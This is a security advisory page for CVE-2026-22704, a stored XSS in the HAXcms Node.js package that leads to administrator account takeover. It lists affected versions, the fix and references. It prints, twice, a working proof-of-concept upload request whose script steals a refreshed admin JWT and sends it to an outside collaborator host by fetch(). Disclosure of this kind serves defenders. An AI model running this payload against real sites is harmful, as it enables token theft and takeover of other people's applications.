GHSA-3FM2-XFQ7-7778

Vulnerability from github – Published: 2026-01-13 15:07 – Updated: 2026-01-13 15:09
VLAI
Summary
HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
Details

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

image

Then we test access to this html

image

You can obtain other people's identity information

image

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

// This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); });

Processing your request...

------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.6"
            },
            {
              "fixed": "25.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T15:07:57Z",
    "nvd_published_at": "2026-01-10T07:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n\u003cimg width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" /\u003e\n\nThen we test access to this html\n\n\u003cimg width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" /\u003e\n\nYou can obtain other people\u0027s identity information\n\n\u003cimg width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" /\u003e\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu\u0026site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ\u0026jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n\u003cscript\u003e\n  // This version adds headers to make the request look more legitimate.\n  fetch(\u0027/system/api/refreshAccessToken\u0027, {\n    method: \u0027POST\u0027,\n    headers: {\n      \u0027Content-Type\u0027: \u0027application/json\u0027\n    },\n    body: \u0027{}\u0027 // Sending an empty JSON object body\n  })\n  .then(response =\u003e {\n    if (!response.ok) {\n        throw new Error(\u0027Network response was not ok \u0027 + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data =\u003e {\n    var stolenJWT = data.jwt;\n    var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=\u0027 + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error =\u003e {\n    var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=\u0027 + error.message;\n    fetch(attackerUrl);\n  });\n\u003c/script\u003e\n\u003ch1\u003eProcessing your request...\u003c/h1\u003e\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.",
  "id": "GHSA-3fm2-xfq7-7778",
  "modified": "2026-01-13T15:09:35Z",
  "published": "2026-01-13T15:07:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22704"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…